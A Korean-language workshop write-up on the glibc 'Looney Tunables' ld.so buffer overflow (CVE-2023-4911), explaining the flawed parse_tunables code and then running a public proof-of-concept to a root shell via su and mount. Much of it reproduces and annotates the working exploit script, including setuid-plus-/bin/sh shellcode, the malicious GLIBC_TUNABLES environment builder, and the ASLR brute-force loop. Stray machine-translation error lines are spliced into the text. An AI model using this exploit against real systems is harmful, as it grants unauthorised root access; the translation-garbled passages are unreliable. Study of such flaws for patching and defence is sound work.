
Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍
Looney Tunables 로컬 권한 상승 (CVE-2023-4911) 워크숍 (교육 목적으로만 사용)
컴퓨팅에서 동적 링커는 실행 파일이 실행될 때 필요한 공유 라이브러리를 로드하고 링크하는 운영 체제의 일부로, 라이브러리의 내용을 영구 저장소에서 RAM으로 복사하고 점프 테이블을 채우며 포인터를 재배치합니다.
예를 들어, openssl 라이브러리를 사용하여 md5 해시를 계산하는 프로그램이 있다고 가정해 봅시다:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>
ld.so는 바이너리를 파싱하고 <openssl/md5.h>와 관련된 라이브러리를 찾으려고 합니다.```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
보시다시피, 필요한 암호화 라이브러리를 /lib/x86_64-linux-gnu/libcrypto.so.3에서 찾습니다. 프로그램 시작 시 이 로더는 해당 라이브러리의 코드를 프로세스 RAM에 넣고 이 라이브러리에 대한 모든 참조를 연결합니다.
프로그램이 시작되면 이 로더는 먼저 프로그램을 검사하여 필요한 공유 라이브러리를 확인합니다. 그런 다음 이러한 라이브러리를 검색하여 메모리에 로드하고 런타임에 실행 파일과 연결합니다. 이 과정에서 동적 로더는 함수 및 변수 참조와 같은 심볼 참조를 해석하여 프로그램 실행에 필요한 모든 것이 준비되도록 합니다. 이러한 역할을 고려할 때 동적 로더는 매우 보안에 민감합니다. 로컬 사용자가 set-user-ID 또는 set-group-ID 프로그램을 실행하면 해당 코드가 상승된 권한으로 실행되기 때문입니다.
Tunables는 GNU C 라이브러리의 기능으로, 애플리케이션 작성자와 배포판 관리자가 런타임 라이브러리 동작을 작업 부하에 맞게 변경할 수 있게 해줍니다. 이는 다양한 방식으로 수정할 수 있는 일련의 스위치로 구현됩니다. 현재 기본적인 방법은 GLIBC_TUNABLES 환경 변수를 콜론으로 구분된 name=value 쌍의 문자열로 설정하는 것입니다. 예를 들어, 다음 예제는 malloc 검사를 활성화하고 malloc trim 임계값을 128바이트로 설정합니다:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES
`--list-tunables`를 동적 로더에 전달하여 최소값 및 최대값과 함께 모든 튜너블을 출력합니다:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
실행 초기에 ld.so는 __tunables_init()를 호출하여 환경을 탐색하고(279행), GLIBC_TUNABLES 변수를 검색합니다(282행). 발견된 각 GLIBC_TUNABLES에 대해 이 변수의 복사본을 만들고(284행), parse_tunables()를 호출하여 이 복사본을 처리하고 정화한 다음(286행), 마지막으로 원래의 GLIBC_TUNABLES를 이 정화된 복사본으로 대체합니다(288행):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }
parse_tunables()의 첫 번째 인자(tunestr)는 곧 정화될 GLIBC_TUNABLES 복사본을 가리키는 반면, 두 번째 인자(valstring)는 (스택에 있는) 원본 GLIBC_TUNABLES 환경 변수를 가리킨다. (형식이 "tunable1=`aaa:tunable2=bbb"`여야 하는) GLIBC_TUNABLES 복사본을 정화하기 위해 parse_tunables()는 tunestr에서 모든 위험한 튜너블(SXID_ERASE 튜너블)을 제거하지만, SXID_IGNORE 및 NONE 튜너블은 유지한다(221-235행):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
불행히도, GLIBC_TUNABLES 환경 변수가 "tunable1=tunable2=AAA" 형식인 경우 (여기서 "tunable1" 및 "tunable2"는 SXID_IGNORE 튜너블, 예: "glibc.malloc.mxfast") 다음과 같습니다:
parse_tunables()의 "while (true)"의 첫 번째 반복 동안, 전체 "tunable1=tunable2=AAA"가 tunestr로 제자리 복사되어 (221-235행) tunestr을 가득 채웁니다;
247-248행에서 p는 증가하지 않습니다 (203-204행에서 ':'이 발견되지 않았기 때문에 p[len]은 '\0'입니다) 따라서 p는 여전히 "tunable1"의 값, 즉 "tunable2=AAA"를 가리킵니다;
parse_tunables()의 "while (true)"의 두 번째 반복 동안, "tunable2=AAA"가 (두 번째 튜너블인 것처럼) 이미 가득 찬 tunestr에 추가되어 tunestr이 오버플로됩니다.
명령:```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help
Segmentation fault (core dumped)
I don't see any content to translate — the "Payload:" section is empty. There is no source text provided in this chunk, so there is nothing to output.```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
이 취약점은 단순한 버퍼 오버플로우이지만, 임의 코드 실행을 달성하기 위해 무엇을 덮어써야 할까요? 우리가 오버플로우시키는 버퍼는 284번째 줄에서 tunables_strdup()에 의해 할당됩니다. tunables_strdup()은 glibc의 malloc() 대신 ld.so의 __minimal_malloc()을 사용하는 strdup()의 재구현입니다(실제로 glibc의 malloc()은 아직 초기화되지 않았습니다). 이 __minimal_malloc() 구현은 단순히 mmap()을 호출하여 커널로부터 더 많은 메모리를 얻습니다.
이 코드를 살펴보겠습니다:```C 56 struct link_map * 57 _dl_new_object (char *realname, const char *libname, int type, 58 struct link_map *loader, int mode, Lmid_t nsid) 59 { .. 84 struct link_map *new; 85 struct libname_list *newname; .. 92 new = (struct link_map *) calloc (sizeof (*new) + audit_space 93 + sizeof (struct link_map *) 94 + sizeof (*newname) + libname_len, 1); 95 if (new == NULL) 96 return NULL; 97 98 new->l_real = new; 99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1) 100 + audit_space); 101 102 new->l_libname = newname 103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1); 104 newname->name = (char ) memcpy (newname + 1, libname, libname_len); 105 / newname->next = NULL; We use calloc therefore not necessary. */
##### 곧 할당될 link_map 구조체의 포인터 덮어쓰기
>ld.so는 이 link_map 구조체를 위한 메모리를 calloc()으로 할당하므로, 다양한 멤버를 명시적으로 0으로 초기화하지 않는다. 이는 합리적인 최적화이다. 앞서 언급했듯이, 여기서의 calloc()은 glibc의 calloc()이 아니라 ld.so의 __minimal_calloc()이며, 이는 __minimal_malloc()을 호출하면서 반환된 메모리를 *명시적으로* 0으로 초기화하지 *않는다*. 이것 역시 합리적인 최적화인데, 실질적으로 __minimal_malloc()은 항상 mmap()된 깨끗한 메모리 청크를 반환하며, 커널이 해당 메모리를 0으로 초기화하는 것을 보장하기 때문이다.
>
> 불행히도, parse_tunables()의 버퍼 오버플로우를 이용하면 깨끗한 mmap() 메모리를 0이 아닌 바이트로 덮어쓸 수 있으며, 이를 통해 곧 할당될 link_map 구조체의 포인터를 NULL이 아닌 값으로 덮어쓸 수 있다. 이로써 ld.so가 이 포인터들이 NULL이라고 가정하는 로직을 완전히 깨뜨릴 수 있다.
#### 오버플로우 아이디어
> 우리는 link_map 구조체의 더 많은 포인터가 명시적으로 NULL로 초기화되지 않는다는 사실을 발견했다. 특히, 포인터 배열인 l_info[]에 있는 Elf64_Dyn 구조체 포인터들이 그렇다. 이 중에서 "라이브러리 검색 경로"인 `l_info[DT_RPATH]`가 즉시 눈에 띄었다: 이 포인터를 덮어쓰고 그것이 가리키는 위치와 내용을 제어할 수 있다면, ld.so가 우리가 소유한 디렉터리를 신뢰하도록 강제할 수 있고, 따라서 이 디렉터리에서 우리 자신의 libc.so.6 또는 LD_PRELOAD 라이브러리를 로드하여 임의 코드를 실행할 수 있다 (SUID-root 프로그램을 통해 ld.so를 실행한다면 root 권한으로).
> 덮어쓴 `l_info[DT_RPATH]`는 어디를 가리켜야 할까? 이 질문에 대한 쉬운 대답은 스택, 더 정확히는 스택에 있는 우리의 환경 문자열이다. Linux에서 스택은 16GB 영역에서 무작위화되며, 우리의 환경 문자열은 최대 6MB(_STK_LIM / 4 * 3, 커널의 bprm_stack_limits() 기준)를 차지할 수 있다: 16GB / 6MB = 2730회 시도 후에는 우리 환경 문자열의 주소를 맞출 좋은 기회가 생긴다(우리 익스플로잇에서는 항상 `l_info[DT_RPATH]`를 0x7ffdfffff010, 즉 무작위화된 스택 영역의 중앙으로 덮어쓴다). 테스트에서 이 브루트포스는 Debian에서 약 30초, Ubuntu와 Fedora에서 약 5분이 걸렸다(자동 크래시 핸들러인 Apport와 ABRT 때문이며, 이 속도 저하를 우회하려 시도하지는 않았다).
> 덮어쓴 l_info[DT_RPATH]는 무엇을 가리켜야 할까?
> 우리 익스플로잇에서는 6MB의 환경 문자열을 0xfffffffffffffff8(-8)로 채운다. 대부분의 SUID-root 프로그램의 문자열 테이블에서 -8B 오프셋 위치에 "\x08" 문자열이 나타나기 때문이다: 이는 ld.so가 (현재 작업 디렉터리의) "\x08"이라는 상대 디렉터리를 신뢰하도록 강제하며, 따라서 이 디렉터리에서 우리 자신의 libc.so.6 또는 LD_PRELOAD 라이브러리를 root 권한으로 로드하고 실행할 수 있게 해준다.
구성:
<img src="https://assets.kitploit.com/production/public/readmes/37285/2a2a7aefd5313512ebb1ce9163f9c08efeb0c28f90742be80186ba3e3d72db5b.png" width="1000" />
#### .DYNSTR의 -8 오프셋에 있는 "\x08" 바이트:

## PoC LPE:
오래된 kali linux 스냅샷을 사용하여 PoC를 테스트하고 있다. 취약한지 확인해 보자:```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1] 7995 segmentation fault env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" /usr/bin/s
We got SIGSEGV, so our system is vulnerable to this CVE LPE!
PoC 스크립트를 다운로드하여 테스트해 보겠습니다:``` [~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
So, our ld.so build id가 대상 목록에 없으니, 고쳐봅시다!
ASLR 비활성화:```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
다시 확인:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] ASLR is not enabled, attempting to find usable offsets [i] using stack addr 0x7fffffffe10c found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567 found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
그래서, 우리의 POC 스크립트는 유용한 오프셋을 찾습니다. 이제 ld.so 빌드 ID와 오프셋을 스크립트에 추가해 봅시다:

ASLR 복원:```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"
PoC 스크립트를 다시 시도해 봅시다:``` [~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/su, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe1010100c .........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami root
uid=0(root)
작동합니다!
또한 다른 SUID 파일에서도 작동합니다:```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>
입력된 청크 내용이 비어 있어 번역할 텍스트가 없습니다.``` [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6 [i] suid target = /usr/bin/mount, suid_args = ['--help'] [i] ld.so = /lib64/ld-linux-x86-64.so.2 [i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3 [i] __libc_start_main = 0x27700 [i] using hax path b'\x08' at offset -8 [i] wrote patched libc.so.6 [i] using stack addr 0x7ffe10101009 ....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id uid=0(root)
### 자, PoC 스크립트를 살펴보겠습니다:
PoC 스크립트의 시작 부분에는 **프로세서 아키텍처**를 담고 있는 ARCH 사전이 있습니다 (저는 x86_64를 사용하므로 x86_64만 남겨두었습니다).
이 사전에는 다음이 포함되어 있습니다:
* "shellcode": 루트 권한으로 ""/bin/sh"를 실행하는 셸코드
* "exitcode": 셸코드이기도 하지만 exit(0x66)을 실행합니다
* "stack_top": x86_64에서 스택의 최대 가능 주소
* "stack_aslr_bits": x86_64의 엔트로피 비트 (ASLR에 의해 변경되는 비트)```python
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
ARCH = {
"x86_64": {
"shellcode": unhex(
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode": unhex("6a665f6a3c580f05"), # asm(shellcraft.exit(0x66)).hex()
"stack_top": 0x800000000000,
"stack_aslr_bits": 30, # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}
셸코드 디스어셈블```nasm 0: 31 ff xor edi, edi 2: 6a 69 push 0x69 4: 58 pop rax 5: 0f 05 syscall
7: 31 ff xor edi, edi 9: 6a 6a push 0x6a b: 58 pop rax c: 0f 05 syscall
e: 6a 68 push 0x68 10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f 1a: 50 push rax 1b: 48 89 e7 mov rdi, rsp 1e: 68 72 69 01 01 push 0x1016972 23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101 2a: 31 f6 xor esi, esi 2c: 56 push rsi 2d: 6a 08 push 0x8 2f: 5e pop rsi 30: 48 01 e6 add rsi, rsp 33: 56 push rsi 34: 48 89 e6 mov rsi, rsp 37: 31 d2 xor edx, edx 39: 6a 3b push 0x3b 3b: 58 pop rax 3c: 0f 05 syscall
Exitcode 디스어셈블```nasm
0: 6a 66 push 0x66
2: 5f pop rdi
3: 6a 3c push 0x3c
5: 58 pop rax
6: 0f 05 syscall
다음으로 타겟(ld.so build id)과 해당 버퍼 오버플로우 오프셋을 포함하는 딕셔너리가 있습니다.```python TARGETS = { "e664396d7c25533074698a0695127259dbbf56f3": 568 }
그런 다음, 그 기능에 따라 이름이 붙은 함수가 많이 있으며, 대부분은 pwntools 라이브러리의 메서드로 대체할 수 있습니다.
그래서 일부를 제외하고는 그것들을 자세히 논의할 필요를 느끼지 못합니다.```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):
# heap meh shui
if bits == 64:
env = [ # Actual vulnerability exploit (buffer overflow)
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
pad = 172
fill = 47
else:
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
]
pad = 87
fill = 47 * 2
for j in range(pad): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
if bits == 64: # overwrite l_info[DT_RPATH] pointer with pointer to stack
env.append(struct.pack("<Q", addr))
env.append(b"")
else:
env.append(struct.pack("<L", addr))
for i in range(384): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
for i in range(fill): # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
if bits == 64:
env.append(
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
)
else:
env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)
env.append(None)
return env
if __name__ == "__main__":
banner() # just print bunner
machine = os.uname().machine # uname of machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode()) # print libc path
if len(sys.argv) == 1: # check if user pass SUID binary as args, if no use "su" binary
suid_path = which("su")
suid_args = ["--help"]
else:
suid_path = sys.argv[1]
suid_args = sys.argv[2:]
lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8 # Some value
print(f"[DEBUG] -> LSB: {lsb}")
print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args)) # print suid binary path with args
suid_e = lazy_elf(suid_path) # generate lazy_elf object with SUID binary
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode() # get ld_path from suid binary .interp section
ld_e = lazy_elf(ld_path) # generate lazy_elf object with ld.so binary
print("[i] ld.so = %s" % ld_path) # print ld.so path
ld_build_id = binascii.hexlify( # get ld.so build id from ".note.gnu.build-id" section
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id) # print ld.so build id
libc_e = lazy_elf(lib_path("c")) # generate lazy_elf object with libc.so.6 binary
__libc_start_main = libc_e.symbol("__libc_start_main") # find offset of __libc_start_main function in libc
if __libc_start_main == None: # if can't find __libc_start_main
error("could not resolve __libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main) # print offset of __libc_start_main
offset = suid_e.shdr_by_name(".dynstr")["offset"] # Find offset of .dynstr section
print(f"[DEBUG] -> .DYNSTR offset: {offset}")
hax_path = find_hax_path(suid_e.d, offset) # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
if hax_path is None: # error if not find hax
error("could not find hax path")
print( # print hax
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if not os.path.exists(hax_path["path"]): # create folder ("\x08" to place libc there later)
os.mkdir(hax_path["path"])
argv = build_argv([suid_path] + suid_args) # just get array of arguments ( ["su", "--help", None] )
shellcode = ( # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
)
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh: # open folder "\x08" and write patched (with shellcode) libc.so.6 there
fh.write(libc_e.d[0:__libc_start_main]) # all before __libc_start_main
fh.write(shellcode) # shellcode
fh.write(libc_e.d[__libc_start_main + len(shellcode) :]) # all after shellcode
print("[i] wrote patched libc.so.6")
if not is_aslr_enabled(): # if ASLR is not enabled
print("[i] ASLR is not enabled, attempting to find usable offsets")
stack_addr = ARCH[machine]["stack_top"] - 0x1F00
stack_addr += lsb
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
r = spawn(suid_path.encode(), argv, env)
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
if ld_build_id not in TARGETS.keys(): # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
error("no target info found for build id %s" % ld_build_id)
stack_addr = ARCH[machine]["stack_top"] - ( # calculate minimum address of stack
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
# In [11]: hex(1 << 29)
# Out[11]: '0x20000000'
# In [12]: hex(0x800000000000 - 0x20000000)
# Out[12]: '0x7fffe0000000'
print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
stack_addr += lsb
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6 if suid_e.bits == 64 else 4): # some calculations to find usable offset in stack
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env( # create malicious environment variables (with overflow and stack overwrite)
TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
)
# print(f"[DEBUG] -> ENV: {env}")
cnt = 1
while True:
if cnt % 0x10 == 0: # print "." every 10 executions
sys.stdout.write(".")
sys.stdout.flush()
if spawn(suid_path.encode(), argv, env) == 0x1337: # spawn process of SUID with malicious environment variables
print("goodbye. (took %d tries)" % cnt)
exit(0)
cnt += 1
다양한 아키텍처에서의 ASLR 엔트로피 표:
